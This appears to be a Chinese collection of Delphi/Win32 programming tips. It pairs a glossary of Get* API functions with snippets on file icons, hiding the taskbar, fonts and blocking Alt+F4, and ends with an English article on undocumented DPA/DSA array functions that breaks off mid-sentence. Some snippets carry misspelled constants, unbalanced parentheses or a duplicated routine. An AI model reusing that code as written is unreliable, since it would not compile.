GetClipBox 取剪裁区域框

GetClipCursor 返回限制光标的矩形的坐标

GetClipRgn 返回当前剪辑域

GetClipboardData 返回剪贴板数据的句柄

GetClipboardFormatName 返回登录的剪贴板格式名

GetClipboardOwner 返回剪贴板所有者窗口句柄

GetClipboardViewer 返回第一个剪贴板浏览窗口句柄

GetColorAdjustment 获取设备描述表调整值

GetColorSpace 获取指定色彩空间

GetCommMask 返回COMM事件屏蔽

GetCommModemStatus 返回调制解调器控制登录值

GetCommProperties 返回COMM设备属性

GetCommState 返回COMM设备控制块

GetCommTimeouts 返回COMM设备超时特性值

GetCommandLine 返回指向命令行的指针

GetComputerName 取回当前计算机名

GetConsoleCP 为控制台输入获取代码页

GetConsoleCursorInfo 返回光标大小

GetConsoleMode 返回控制台输入输出模式

GetConsoleOutputCP 为控制台输出获取代码页

GetConsoleScreenBufferInfo 返回屏幕缓冲区信息

GetConsoleTitle 返回控制台窗口标题

GetCurrentDirectory 返回当前目录

GetCurrentObject 返回当前对象

GetCurrentPositionEx 返回逻辑单元位置

GetCurrentProcess 返回当前进程的句柄

GetCurrentProcessId 返回当前进程ID值

GetCurrentThread 返回当前线索的句柄

GetCurrentThreadId 返回当前线索ID值

GetCursor 返回当前光标的句柄

GetCursorPos 返回当前光标的位置

GetDC 返回窗口描述表句柄

GetDCEx 返回显示描述表的句柄

GetDCOrgEx 返回设备描述表的转换起点

GetDIBits 将DIB位复制到缓冲区中

GetDateFormat 获取本地日期格式

GetDesktopWindow 返回桌面窗口句柄

GetDeviceCaps 返回设备性能

GetDeviceGammaRamp 获取显示器的辉度系数

GetDialogBaseUnits 返回对话基础单元

GetDiskFreeSpace 返回空闲磁盘空间

GetDlgCtrlID 返回儿子窗口的ID值

GetDlgItem 返回对话框控件句柄

GetDlgItemInt 将对话框文本转换为整数

GetDlgItemText 返回对话框控件文本

GetDoubleClickTime 返回鼠标双击时间

GetDriveType 返回指定驱动器类型

GetDriverModuleHandle 返回驱动程序模块例子句柄

GetEnhMetaFile 建立增强图元文件

GetEnhMetaFileBits 将增强图元文件值复制到缓冲区

GetEnhMetaFileDescription 返回增强图元文件的标题及建立者

GetEnhMetaFileHeader 返回增强图元文件头

GetEnhMetaFilePaletteEntries 返回增强图元文件调色板入口

GetEnvironmentStrings 返回指向环境块的指针

GetEnvironmentVariable 返回过程环境变量

GetExitCodeProcess 返回过程中断代码

GetExitCodeThread 返回线索中断代码

GetExpandedName 取压缩文件的原文件名

GetFileAttributes 返回文件属性

GetFileInformationByHandle 返回文件信息

GetFileSecurity 获取文件或目录安全信息

GetFileSize 返回指定文件大小

GetFileTime 返回文件64位时间

GetFileTitle 返回文件名

GetFileType 返回文件类型

GetFileVersionInfo 返回文件的版本信息

GetFileVersionInfoSize 返回可用版本信息大小

GetFocus 返回当前焦点窗口句柄

GetFontData 返回字体数据

GetFontLanguageInfo 获取字体显示描述表的信息

GetForegroundWindow 返回前景窗口句柄

GetForm 获取打印机窗口信息

GetFullPathName 返回文件的路径名

GetGlyphOutline 取回轮廓数据

GetGraphicsMode 取回指定DC的图形模式

GetHandleInformation 否

GetICMProfile 返回设备场景的色彩映像

GetIconInfo 返回图标或光标信息

GetInputState 确定鼠标、键盘、定时器状态

GetJob 获取打印作业信息

GetKBCodePage 获取OEM系统代码页

GetKerningPairs 返回当前字体内核对

GetKeyNameText 返回代表键盘名字的字符串

GetKeyState 返回虚拟键的状态

GetKeyboardLayoutName 返回活动键盘版面名

GetKeyboardState 返回虚拟键盘状态

GetKeyboardType 返回键盘信息

GetLargestConsoleWindowSize 返回窗口尺寸的最大可能性

GetLastActivePopup 确定最近的活动弹出式窗口

GetLastError 返回扩充出错代码

GetLocalTime 返回本地时间和日期

GetLocaleInfo 从记录中获取本机信息

GetLogColorSpace 获取逻辑色彩空间的信息

GetLogicalDriveStrings 返回合法驱动器字符串

GetLogicalDrives 指定合法驱动器

GetMailslotInfo 返回信箱信息

GetMapMode 返回映像模式

GetMenu 返回指定窗口的菜单句柄

GetMenuCheckMarkDimensions 返回缺省复选标记位图尺寸

GetMenuItemCount 返回菜单项数

GetMenuItemID 返回菜单项标识符

GetMenuState 返回指定菜单项的菜单标记

GetMenuString 将菜单项字符串复制入缓冲区

GetMessage 从线索消息队列中返回一条消息

GetMessageExtraInfo 返回硬件消息的信息

GetMessagePos 返回最后消息的光标位置

GetMessageTime 返回最后消息的时间位置

GetMetaFile 建立WINDOWS图元文件

GetMetaFileBitsEx 将WINDOWS图元文件复制入缓冲区

GetMetaRgn 返回当前图元区域

GetMiterLimit 返回当前MITER-JOIN长度

GetModuleFileName 返回指定模块的路径

GetModuleHandle 返回指定模块的句柄

GetNamedPipeHandleState 返回命名管道句柄消息

GetNamedPipeInfo 返回命名管道句柄消息

GetNearestColor 返回最近的可用色彩

GetNearestPaletteIndex 返回最近的匹配色彩

GetNextDlgGroupItem 返回前或后一组控件的句柄

GetNextDlgTabItem 返回前或后一个WS_TABSTOP控件

GetNextWindow 返回前或后一窗口管理器窗口

GetNumberOfConsoleInputEvents 返回控制台队列事件数

GetNumberOfConsoleMouseButtons 返回鼠标按钮数

GetNumberOfEventLogRecords 获取事件记录中的记录数

GetOEMCP 获取OEM系统代码页

GetObject 返回对象信息

GetObjectType 返回对象类型

GetOldestEventLogRecord 返回最早的记录数

GetOpenClipboardWindow 返回打开CLIPBOARD的窗口句柄

GetOpenFileName 建立文件名对话框

GetOutlineTextMetrics 返回TRUETYPE字体的公制类型

GetOverlappedResult 返回最后重叠结果

GetPaletteEntries 返回调色板入口范围

GetParent 返回父口句柄

GetPath 返回路径中的所有直线和曲线

GetPixel 返回指定像素的RGB值

GetPolyFillMode 返回当前多边形填充模式

GetPrintProcessorDirectory 获取打印机驱动处理器路径

GetPrinter 获取打印机信息

GetPrinterData 获取打印机配置信息

GetPrinterDriver 获取打印机驱动程序信息

GetPrinterDriverDirectory 获取打印机驱动程序路径

GetPriorityClass 返回过程的优先级类

GetPriorityClipboardFormat 返回第一个CLIPBOARD格式

GetPrivateObjectSecurity 返回保护服务器对象SD

GetPrivateProfileInt 从私有文件中获取整数

GetPrivateProfileSection 返回私有键和值

GetPrivateProfileString 从私有文件中获取字符串

GetProcAddress 返回函数地址

GetProcessAffinityMask 获取任务可用的处理表列

GetProcessHeap 获取调用过程堆句柄

GetProcessShutdownParameters 返回过程停止参数

GetProcessTimes 获取过程计时器

GetProcessWindowStation 返回过程窗口站句柄

GetProfileInt 从WIN.INI中获取整数

GetProfileSection 从WIN.INI中返回关键字和值

GetProfileString 从WIN.INI中获取字符串

GetProp 从窗口属性表列中返回数据句柄

GetQueueStatus 确定消息队列内容

GetROP2 返回当前绘图模式

GetRasterizerCaps 返回系统TRUETYPE状态

GetRegionData 返回区域数据

GetRgnBox 返回区域边框矩形

GetSaveFileName 建立文件名保存对话框

GetScrollPos 返回滑块位置

GetScrollRange 返回滑块运动范围

GetServiceDisplayName 获取服务显示名称

GetServiceKeyName 获取服务登录关键名称

GetShortPathName 返回文件短路径

GetSidSubAuthority 返回次规范数组地址

GetSidSubAuthorityCount 返回次字段地址

GetStartupInfo 获取当前过程的启始信息

GetStdHandle 返回标准I/O句柄

GetStockObject 返回常用画笔、刷子或字段的句柄

GetStretchBltMode 返回位图拉伸模式

GetStringTypeA 获取ANSI字符串类型

GetStringTypeW 获取UNICODE字符串类型

GetSubMenu 返回弹出式菜单句柄

GetSysColor 返回显示元素色彩

GetSystemDefaultLCID 获取系统缺省本地ID

GetSystemDefaultLangID 获取系统缺省语言ID

GetSystemDirectory 返回WINDOWS系统目录路径

GetSystemInfo 返回系统信息

GetSystemMenu 访问系统菜单

GetSystemMetrics 返回系统公制

GetSystemPaletteEntries 返回系统调色板入口

GetSystemPaletteUse 确定使用整个系统调色板

GetSystemPowerStatus 获取系统AC或DC电源状态

GetSystemTime 返回系统时间和日期

GetTabbedTextExtent 确定制表串大小

GetTapeParameters 返回磁带驱动器或介质信息

GetTapePosition 返回当前磁带位置

GetTapeStatus 返回磁带机状态

GetTempFileName 建立临时文件名

GetTempPath 返回临时文件路径

GetTextAlign 返回文本对齐标志

GetTextCharacterExtra 返回文本字符间隔

GetTextCharsetInfo 返回当前字体设置信息

GetTextColor 返回当前文本色彩

GetTextExtentExPoint 返回子字符串长度数组

GetTextExtentPoint 返回字符串大小

GetTextExtentPoint32 返回字符串大小

GetTextFace 返回当前字体的字样

GetTextMetrics 返回当前字体的公制

GetThreadContext 返回指定线索描述表

GetThreadDesktop 返回线索桌面句柄

GetThreadLocale 获取线索本地信息

GetThreadPriority 返回指定线索优先级

GetThreadSelectorEntry 返回线索描述入口

GetThreadTimes 返回线索计时信息

GetTickCount 返回WINDOWS运行时间

GetTimeFormat 获取本地指定的时间字符串

GetTimeZoneInformation 返回当前时区信息

GetTokenInformation 返回指定令牌信息

GetTopWindow 返回指定窗口的顶端儿子句柄

GetUpdateRect 返回窗口更新区域大小

GetUpdateRgn 返回窗口更新区域大小

GetUserDefaultLCID 获取用户缺省本地ID

GetUserDefaultLangID 获取用户缺省语言ID

GetUserName 返回用户名

GetUserObjectSecurity 返回服务器对象SD信息

GetVersion 返回WINDOWS和操作系统版本

GetVersionEx 返回扩展操作系统版本信息

GetViewportExtEx 返回视窗宽度

GetViewportOrgEx 返回视口源

GetVolumeInformation 返回文件系统信息

GetWinMetaFileBits 返回WINDOWS格式的图元文件内容

GetWindow 返回指定窗口句柄

GetWindowDC 返回窗口设备厂描述表

GetWindowExtEx 返回窗口宽度

GetWindowLong 从附加窗口内存中返回长型数值

GetWindowOrgEx 返回窗口源

GetWindowPlacement 返回窗口显示状态及最小/最大位置

GetWindowRect 返回窗口坐标

GetWindowText 将窗口工具栏文本复制到缓冲区

GetWindowTextLength 返回窗口工具栏文本长度

GetWindowThreadProcessId 返回窗口线索及过程ID

GetWindowWord 从附加窗口内存中返回字值

GetWindowsDirectory 返回窗口WINDOWS目录

GetWorldTransform 返回当前变换式


取的文件的图标

它可以将某一文件的大、小显示图标调出来。

var

FileInfo: TSHFileInfo;

Flags: Integer;

begin

FillChar(FileInfo, SizeOf(FileInfo), #0);

Flags := SHGFI_PIDL or SHGFI_SYSICONINDEX or SHGFI_ICON or SHGFI_IPENICON{或者 or SHGFI_LCARGEICON 或 or SHGFI_SMALLICON};

SHGetFileInfo(PChar(PIDL),

0,

FileInfo,

SizeOf(FileInfo),

Flags);

Result := FileInfo.iIcon;

end;

如果要根据扩展名取文件的图标，可以利用下面的函数：

uses

ShellApi;

function GetAssociatedIcon(const AExtension: string; ASmall: Boolean): HIcon;

var

Info : TSHFileInfo;

Flags : Cardinal;

begin

if ASmall then

Flags := SHGFI_ICON or SHGFI_SMALLICON or SHGFI_USEFILEATTRIBUTES

else

Flags := SHGFI_ICON or SHGFI_LARGEICON or SHGFI_USEFILEATTRIBUTES;

SHGetFileInfo(PChar(AExtension), FILE_ATTRIBUTE_NORMAL, Info, SizeOf(TSHFileInfo), Flags);

Result := Info.hIcon;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

Icon.Handle := GetAssociatedIcon('.html', True);

end;


查找文件
SearchPath() API


SHLWAPI.DLL

LPSTR WINAPI PathAppend( LPSTR lpszPath1, LPCSTR lpszPath2); index 36;

LPSTR WINAPI PathCombine( LPSTR lpszDestPath, LPCSTR lpszSrcPath1, LPCSTR lpszSrcPath2); index 37;

LPSTR WINAPI PathAddBackslash( LPSTR lpszPath); index 32;

LPSTR WINAPI PathBuildRoot( LPSTR lpszPath, int drive);index 30;

LPSTR WINAPI PathFindFileName( LPCSTR lpszPath);

LPSTR WINAPI PathFindExtension( LPCSTR lpszPath);

LPSTR WINAPI PathGetExtension( LPCSTR lpszPath);

LPSTR WINAPI PathGetArgs( LPCSTR lpszPath);

int WINAPI PathGetDriveNumber( LPCSTR lpszPath);

BOOL WINAPI PathRemoveFileSpec( LPSTR lpszPath);


开始菜单的时钟区域

隐藏系统tray:

showwindow(findwindow('Shell_TrayWnd',nil),SW_HIDE); // 隐藏

showwindow(findwindow('Shell_TrayWnd',nil),SW_NORMAL); // 恢复

procedure TForm1.DisableStartMenu;

var

Handle,ChildHandle,SecLayerH,H:HWND;

clsName:pchar;

begin

h:=findwindow('progman',nil);

if h<>0 then

showwindow(h,sw_hide);

//

getmem(clsName,255);

Handle:=FindWindow('Shell_TrayWnd',nil);

if Handle<>0 then

begin

ChildHandle:=GetWindow(Handle,GW_Child);

while ChildHandle<>0 do

begin

GetClassName(ChildHandle,clsName,255);

if string(clsName)='Button' then

begin

PostMessage(ChildHandle,WM_SYSCOMMAND,SC_CLOSE,0);

end;

if string(clsName)='TrayNotifyWnd' then

begin

SecLayerH:=GetWindow(ChildHandle,GW_CHILD);

while SecLayerH<>0 do

begin

GetClassName(SecLayerH,clsName,255);

if string(clsName)='TrayClockWClass' then

begin

PostMessage(SecLayerH,WM_SYSCOMMAND,SC_CLOSE,0);

end;

SecLayerH:=GetWindow(SecLayerH,GW_HWNDNEXT);

end;

end;

ChildHandle:=GetWindow(ChildHandle,GW_HWNDNEXT);

end;

end;

freemem(clsName,255);

end;


禁止开始菜单的时钟

procedure TForm1.DisableStartMenu;

var

Handle,ChildHandle,SecLayerH,H:HWND;

clsName:pchar;

begin

h:=findwindow('progman',nil);

if h<>0 then

showwindow(h,sw_hide);

//

getmem(clsName,255);

Handle:=FindWindow('Shell_TrayWnd',nil);

if Handle<>0 then

begin

ChildHandle:=GetWindow(Handle,GW_Child);

while ChildHandle<>0 do

begin

GetClassName(ChildHandle,clsName,255);

if string(clsName)='Button' then

begin

PostMessage(ChildHandle,WM_SYSCOMMAND,SC_CLOSE,0);

end;

if string(clsName)='TrayNotifyWnd' then

begin

SecLayerH:=GetWindow(ChildHandle,GW_CHILD);

while SecLayerH<>0 do

begin

GetClassName(SecLayerH,clsName,255);

if string(clsName)='TrayClockWClass' then

begin

PostMessage(SecLayerH,WM_SYSCOMMAND,SC_CLOSE,0);

end;

SecLayerH:=GetWindow(SecLayerH,GW_HWNDNEXT);

end;

end;

ChildHandle:=GetWindow(ChildHandle,GW_HWNDNEXT);

end;

end;

freemem(clsName,255);

end;


NetUserChangePassword
function NetUserChangePassword(domainname:pwidechar;username:pwidechar;oldpassword:pwidechar;newpassword:pwidechar):integer;stdcall;external 'netapi32.dll';


SysTray的一个问题

在delphi中，用Shell_NotifyIcon函数添加、删除、更改systray icon，然后用systray的系统消息添加systray icon的鼠标事件，我在鼠标右击事件中加入popup菜单，但发现在程序运行时，鼠标移向systray icon后右击第一次菜单总是出不来，直到点击第二次才能弹出菜单。同样的问题也在vb 自带的systray控件中出现，但其它的成熟产品如foxmail、oicq等的systray icon 右击都是一次就出来，这到底是为什么，他们是怎么做的？

试一下在弹出菜单前SetForegroundWindow(Handle);


如何屏蔽Alt+F4

需要捕捉WM_SYSCOMMAND消息，然后作出判断。

procedure WMSysCommand(var Msg: TMessage);

begin

if Msg.wParam <> SC_CLOSE then

inherited;

end;


取得字符串的宽度和高度

我以前的解决方法是利用窗体的Canvas。先保存，然后把label的Font赋值给FormCanvas，TextWidth()然后，恢复窗体的Canvas。应该由简单的方法。

如下：

procedure TForm1.Button1Click(Sender: TObject);

var

size:tagsize;

begin

GetTextExtentPoint32(label1.Canvas.Handle,pchar(label1.Caption),label1.GetTextLen,size);

caption:=format('X:%d,Y:%d',[size.cx,size.cy]);

end;

**************

JacksonLiu 时间：01-2-15 20:40:16 ID:455452

问题本人已经解决了，谢谢大家！正确的做法如下：

// 根据给定字体的名称与字号得到该种字体的以[mm]为单位的汉字与英文大小

procedure GetFontMMSize(FontName:string; FontSize:Integer; var H,W,EW:Integer);

var

AText :string;

Ratio1 :Real;

AFont :TFont;

fhGdi :HGDIOBJ;

DC :HDC;

ASize :TSize;

begin

try

AFont:=TFont.Create;

with AFont do

begin

Name:=FontName;

Size:=FontSize;

end;

Ratio1:=AFont.PixelsPerInch / 2540;

DC:=GetDC(0);

fhGDI:=SelectObject(DC,AFont.Handle);

AText:='中';

GetTextExtentPoint32(DC,PChar(AText),Length(AText),ASize);

W:=Round(ASize.cx/Ratio1);

H:=Round(ASize.cy/Ratio1);

AText:='A';

GetTextExtentPoint32(DC,PChar(AText),Length(AText),ASize);

EW:=Round(ASize.cx/Ratio1);

SelectObject(DC,fhGDI);

finally

AFont.Free;

ReleaseDC(0,DC);

end;

end;


取得字体的大小

以下的函数GetFontSizeList用来取得字体名为FontName的字体的所有可用尺寸，而EnumFontsSize是其中要用到的字体枚举回调函数：

function EnumFontsSize(var LogFont: TLogFont; var TextMetric: TTextMetric;

FontType: Integer; Data: Pointer): Integer; stdcall;

begin

TStrings( Data ).Add(IntToStr( LogFont.lfHeight) );

Result := 1;

end;

procedure GetFontSizeList( FontName : String; List : TStrings );

//FontName,是字体名；

//这种字体的所有可用尺寸将被填在List中。

var

DC: HDC;

begin

List.Clear;

DC := GetDC(0);

EnumFonts(DC, PChar(FontName), @EnumFontsSize, Pointer(List));

ReleaseDC(0, DC);

end;

///////////////////////////////////////////////////////////////////

var

Form1: TForm1;

VRES:Integer;

const

MaxStdSizes=16;

function EnumFontFamiliesProc(var LogFont: TLogFont; var TextMetric: TTextMetric;

FontType: Integer; Data:Pointer): Integer; {$IFDEF WIN32} stdcall; {$ELSE} export; {$ENDIF}

procedure AddToList(const aValue:String);

var

j:Integer;

c:Boolean;

begin

j:=0;

c:=False;

with TListBox(Data) do

begin

while (j<Items.Count) and not c do

if StrToInt(aValue)>=StrToInt(Items[j]) then Inc(j) else c:=True;

Items.Insert(j, aValue);

end;

end;

var

i:Integer;

c:String;

const

csizes:array[0..MaxStdSizes-1] of Integer=(8,9,10,11,12,14,16,18,20,22,24,26,28,36,48,72);

begin

result:=0;

with TListBox(Data) do

begin

if (FontType and TRUETYPE_FONTTYPE=TRUETYPE_FONTTYPE) or (FontType in [0,2]) then

begin

For i:=0 to (MaxStdSizes-1) do Items.Add(IntToStr(Csizes[i]));

result:=0

end;

if (FontType and RASTER_FONTTYPE=RASTER_FONTTYPE)

{or (FontType and DEVICE_FONTTYPE=DEVICE_FONTTYPE)} then

with TextMetric do

begin

c:=IntToStr(Round((tmHeight-tmInternalLeading)*72 / VRES));

if Items.IndexOf(c)=-1 then AddToList(c);

result:=1;

end;

end

end;

procedure TForm1.DoList(FFontName:String);

var

buffer:array[0..255] of Char;

DC:HDC;

begin

ListBox1.Items.Clear;

DC:=GetDC(0);

StrPCopy(Buffer, FFontName);

vres:=GetDeviceCaps(DC, LOGPIXELSY);

EnumFontFamilies(DC, Buffer, @EnumFontFamiliesProc,

LongInt(ListBox1));

ReleaseDC(0, DC);

end;


是否是TrueType字体

判断TrueType字体

function IsTrueTypeFont(FontName : string) : boolean;

const

PITCH_MASK: byte = $0F;

var

TxMetric: TTextMetric;

TempCanvas : TCanvas;

PitchTest : byte;

begin

TempCanvas := TCanvas.Create;

TempCanvas.Handle := CreateCompatibleDC(0));

TempCanvas.Font.Name := FontName;

GetTextMetrics(TempCanvas.Handle, TxMetric);

PitchTest := TxMetric.tmPitchAndFamily and PITCH_MASK;

Result := ((PitchTest and TMPF_TRUETYPE) <> 0));

TempCanvas.free;

end;


动态数组API

http://www.geocities.com/SiliconValley/4942/arrays.html

Undocumented

Windows ? 95

Dynamic Array Routines

Y ou may be wondering why anyone would want to use

a bunch of undocumented array routines, with fairly

limited functionality, when the typical class library these

days includes dozens of useful container classes. Well, if

you're trying to keep your application as small as possible, it

is essential that you make the most of the facilities already

implemented by the operating system.

There are two groups of array functions covered in this

article: those that handle Dynamic Pointer Arrays (all pre-

fixed with DPA), and those that handle Dynamic Structure

Arrays (prefixed with DSA). I'm actually just guessing what

DPA and DSA stand for, but I think it's a fairly plausible

interpretation. The functions are all exported from

COMCTL32.DLL, and they are all exported by ordinal.

Dynamic Pointer Arrays

Dynamic pointer arrays are the more versatile of the two

array groups. In addition to resizing automatically as items

are added and removed, they can also be sorted and sear-

ched using a callback comparison function. They even

allow you to specify the heap that should be used for me-

mory allocations. That may not sound particularly useful,

until you realise that on Windows 95 these functions default

to using the undocumented shared heap, which may not

always be such a great idea.

Their only real limitation is that the array items can only

be four bytes in size. Typically the items would be pointers

(hence the name 'Dynamic Pointer Array'), but they could

just as easily be integers or some other four byte data item.

If you do choose to use pointers, though, bare in mind that it

is the application's responsibility to allocate and free those

items.

The DPA Handle

Every array that you create is identified by a DPA handle.

Each of the create functions return a handle, and all other

functions require a handle as their first parameter. A DPA

handle is just a pointer to a 20 byte structure containing

information about the state of the array. Ideally

you would just treat it as a generic HANDLE, but

that isn't always possible. As an example, the

only efficient way to obtain the array size, is by

accessing the structure directly (see Figure 1 for

the structure definition).

nItems specifies the number of items in the

array. nCapacity, on the other hand, specifies the

maximum number of items that can be placed in

the array before new storage will have to be allo-

typedef struct {

int nItems;

LPVOID *lpItems;

HANDLE hHeap;

int nCapacity;

int nDelta;

} * HDPA;

Figure 1 DPA Handle Structure

cated. nDelta specifies the amount by which the array will

grow whenever new storage is required. On NT, though,

this delta value is doubled every time the array is resized

(unless is it already greater than 255). lpItems is a pointer

to the memory where the array items are stored and hHeap

is the heap handle used to allocate that memory.

Creating and Destroying

The functions for createing and destroying arrays can be

seen in Figure 2. To create a new array, you would typi-

cally use the DPA_Create function (ordinal 328). It takes

only one parameter, the delta size, and returns a DPA

handle as the result. If you would like the array data to be

allocated from a specific heap, you should

use the DPA_CreateEx function (ordinal

340). It requires a second parameter,

which specifies the handle of the heap to

use. If hHeap is NULL, you just get default

heap used by DPA_Create (on Windows

95 it's the undocumented shared heap; on

Windows NT, though, it's just the process

heap).

The DPA_Clone function (ordinal

331) can be used to create a duplicate of

an existing array, by passing the source

handle as the first parameter and NULL as

the second. If you want the new array to

use a different delta size or a different

HDPA WINAPI DPA_Create(

int nDelta);

HDPA WINAPI DPA_CreateEx(

int nDelta,

HANDLE hHeap);

HDPA WINAPI DPA_Clone(

HDPA hSource,

HDPA hDest);

BOOL WINAPI DPA_Destroy(

HDPA hArray);

Figure 2 Create and Destroy Functions

heap, you should create the array first with DPA_Create or

DPA_CreateEx, and then pass that handle as the second

parameter to DPA_Clone. Your new array will be

'overwritten' with the data from the source array, but it will

keep its delta size and heap handle.

All of these function return the handle of the newly

created array. If they fail for any reason, the return value

will be NULL. When you are finished using an array, you

should destroy it by passing the handle to DPA_Destroy

(ordinal 329). The return value is TRUE if the array was

destroyed successfully (it even returns TRUE if you pass it a

NULL handle). The return value is FALSE if an error oc-

cured when freeing the data.

Storing Values

The functions related to storing array items can be seen in

Figure 3. The first function, DPA_InsertPtr (ordinal 334),

will insert an item at a particular point in

the array. If you try to insert an item

beyond the end of the array, the item will

be appended. Typically you would set the

insert position to MAXINT if you wanted to

append an item (a negative insert position

will fail). The return value is the actual

position at which the item was inserted, or

-1 if the insertion failed.

DPA_SetPtr, on the other hand, will

store a value at a particular position in the

array, overwriting the value that was pre-

viously there. It has an ordinal value of

335. If you attempt to store an item

beyond the end of the array, the array will

int WINAPI DPA_InsertPtr(

HDPA hArray,

int nPosition,

LPVOID lpItem);

BOOL WINAPI DPA_SetPtr(

HDPA hArray,

int nPosition,

LPVOID lpItem);

BOOL WINAPI DPA_Grow(

HDPA hArray,

int nCapacity);

Figure 3 Functions for Storing

be expanded so that the operation will succeed. The return

value is TRUE if the operation was successful. If the opera-

tion fails, the function will return FALSE.

As mentioned before, the array will automatically resize

itself whenever an insertion operation exceeds the capacity

of the array. If you are adding a large number of items to

an array, it may need t to resize a number of times, which

can be quite a costly operation. To solve this problem, you

can use the DPA_Grow function (ordinal 330) to extend

the capacity of the array, prior to adding any items. Note

that the size is not affected by this operation - only the

capacity. Also note that the new capacity will not necessa-

rily be the exact value you specify, but it will be at least that

large.

Retrieving and Deleting

All the functions necessary for retrieving and deleting items

can be seen in Figure 4. To retrieve a value from an array,

you would use the DPA_GetPtr function (ordinal 332). It

will return the pointer that is stored at the specified offset in

the array. If you request a value

that is out of range, the function will

return NULL.

To remove a value from the ar-

ray you would use the function

DPA_DeletePtr (ordinal 336). It

will remove an item from a particu-

lar position in the array, and any

following items will be shifted down

by one. If the difference between

the capacity and the actual size is

now greater than the delta size, the

storage area will be reallocated to

LPVOID WINAPI DPA_GetPtr(

HDPA hArray,

int nPosition);

LPVOID WINAPI DPA_DeletePtr(

HDPA hArray,

int nPosition);

BOOL WINAPI DPA_DeleteAllPtrs(

HDPA hArray);

Figure 4 Functions for Retrieving and Deleting

use less memory. The return value is the pointer that was

removed from the array. If you attempt to remove a item

that is out of range, the function will return NULL.

To remove all items from the array, you would use the

function DPA_DeleteAllPtrs (ordinal 337). Bare in mind

that the pointers themselves aren't actually deleted, so you

may need to iterate through the array beforehand to free

any memory used by the individual itesm. The return value

is TRUE if the operation was successful. If the operation

fails, the function will return FALSE.

Sorting and Searching

Sorting and searching can be accomplished with the

functions DPA_Sort and DPA_Search (obviously enough).

Both require that you

specify an applica-

tion-defined callback

function that is used

to compare the rela-

tive order of any two

items (see Figure 5).

typedef int (CALLBACK *LPFNDPACOMPARE) (

LPVOID lpItem1,

LPVOID lpItem2,

LPARAM lParam);

Figure 5 Comparison Callback Function

You also get to specify a dword value that will be passed

as the third parameter to your callback function.

The declarations for the sorting and searching functions

can be seen in Figure 6. The DPA_Sort function (ordinal

338) is pretty straightforward. You

specify the array handle, your

callback function, and the value to

pass to the callback, and it will sort

the array using a Merge Sort algo-

rithm. The return value is TRUE if

the array was sorted successfully.

If it was unable to allocate the me-

mory required to perform the sort,

the function will return FALSE.

The DPA_Search function (or-

dinal 339) is a bit more compli-

cated. You specify the pointer that

you're searching for (it gets passed

as the first parameter to your

callback function), and the position

in the array at which you would like

the search to begin. The callback

BOOL WINAPI DPA_Sort(

HDPA hArray,

LPFNDPACOMPARE lpfnCompare,

LPARAM lParam);

int WINAPI DPA_Search(

HDPA hArray,

LPVOID lpItem,

int nStartPos,

LPFNDPACOMPARE lpfnCompare,

LPARAM lParam,

DWORD dwFlags);

int WINAPI DPA_GetPtrIndex(

HDPA hArray,

LPVOID lpItem);

Figure 6 Sorting and Searching Functions

function and the callback value are the same as those used

by DPA_Sort. The flags parameter determines

the method in which the array is searched (see

Figure 7).

Specifying the DPAF_LINEAR_SEARCH

flag, will cause the array to be searched

linearly, starting at the position specified in the

nStartPos parameter. To perform a binary

DPAF_LINEAR_SEARCH 0x00

DPAF_BINARY_SEARCH 0x01

DPAF_BINARY_INSERT 0x07

Figure 7 Search Flags

search (obviously the array should already be sorted), you

would specify the DPAF_BINARY_SEARCH flag. With the

binary search, the nStartPos parameter is ignored.

In both cases, the function returns the position of the

first matching item, or -1 if the item could not be found.

When doing a binary search, though, you may wish to find

the position at which the item should be inserted if didn't

already exist in the array. In that case you should use the

DPAF_BINARY_INSERT flag.

There is another function, DPA_GetPtrIndex (ordinal

333), which has also been included in this section, although

it may seem a bit out of place. It doesn't use a comparison

function like DPA_Sort and DPA_Search - it just searches

linearly from the start of the array, looking for an exact

match with a pointer stored in the array. If there were no

exact matches, it will return -1. The function delcaration is

also listed in Figure 6.

Dynamic Structure Arrays

Dynamic Structure Arrays provide the same basic functio-

nality as Dynamic Pointer Arrays. All necessary resizing of

the array is handled automatically as items are added and

removed. Unfortunately you don't have the equivalent sor-

ting and searching functionality and you don't have any

control of the heap that is used for the memory allocation

(that means you're going to be stuck with the shared heap

on Windows 95).

The advantage of the Structure Arrays, though, is that

the array elements can be of any size. You can now handle

arrays of structures, without the complication of storing

them as pointers and having to handle all the memory allo-

cation yourself.

The DSA Handle

The DSA handle has the same basic elements as the DPA

handle, but not always at the same offsets. Each handle

also has one unique element. The DPA handle requires a

heap handle that Dynamic Structure Arrays don't need, and

the DSA handle as an attribute for storing the size

of the array items which Dynamic Pointer Ar-

rays obviously don't need (see Figure 8 for the

structure definition).

As with the DPA handle, nItems specifies the

number of items in the array, and nCapacity spe-

cifies the maximum number of items that can be

placed in the array before new storage will have

to be allocated. nDelta specifies the amount by

which the array will grow whenever new storage

typedef struct {

int nItems;

LPVOID lpItems;

int nCapacity;

int nItemSize;

int nDelta;

} * HDSA;

Figure 8 DSA Handle Structure

is required. lpItems is a pointer to the memory where the

array items are stored and nItemSize specifies the byte size

of each item.

The DSA Functions

HDSA WINAPI DSA_Create(

int nItemSize,

int nDelta);

BOOL WINAPI DSA_Destroy(

HDSA hArray);

Figure 9 Creation and Destroy Functions

Most of the DSA functions are pretty

much identical to their DPA counterparts

(the function declarations are listed in

Figures 9, 10, 11 & 12). You create and

destroy Dynamic Structure Arrays with

DSA_Create and DSA_Destroy (ordinals

320 and 321). The only difference bet-

ween the DSA_Create function and the

DPA_Create function is that the former now requires an

extra parameter specifying the size of

the array items.

Storing items in a structure array is

accomplished with the DSA_InsertItem

function and the DSA_SetItem function

(ordinals 324 and 325). In each case, the

data pointed to by the lpItem parameter

is actually copied into the array (the cor-

responding DPA functions would only

store a pointer to the data). As with the

DPA_SetPtr function, trying to store an

item with DSA_SetItem beyond the end

int WINAPI DSA_InsertItem(

HDSA hArray,

int nPosition,

LPVOID lpItem);

BOOL WINAPI DSA_SetItem(

HDSA hArray,

int nPosition,

LPVOID lpItem);

Figure 10 Functions for Storing

of the array will cause the array to be resized.

Retrieving items is completely

different though. Your one option is

the DSA_GetItem function (ordinal

322), which will copy an item from

the array into a specified buffer. It

returns TRUE if successful, or FALSE

if the requested item was out of

range. The other option, DSA_Get-

ItemPtr (ordinal 323), will return a

pointer to the item in the actual array

buffer. The resulting pointer can

BOOL WINAPI DSA_GetItem(

HDSA hArray,

int nPosition,

LPVOID lpBuffer);

LPVOID WINAPI DSA_GetItemPtr(

HDSA hArray,

int nPosition);

Figure 11 Functions for Retrieving

even be used to modify the item directly. Bare in mind,

though, that any subsequent set or

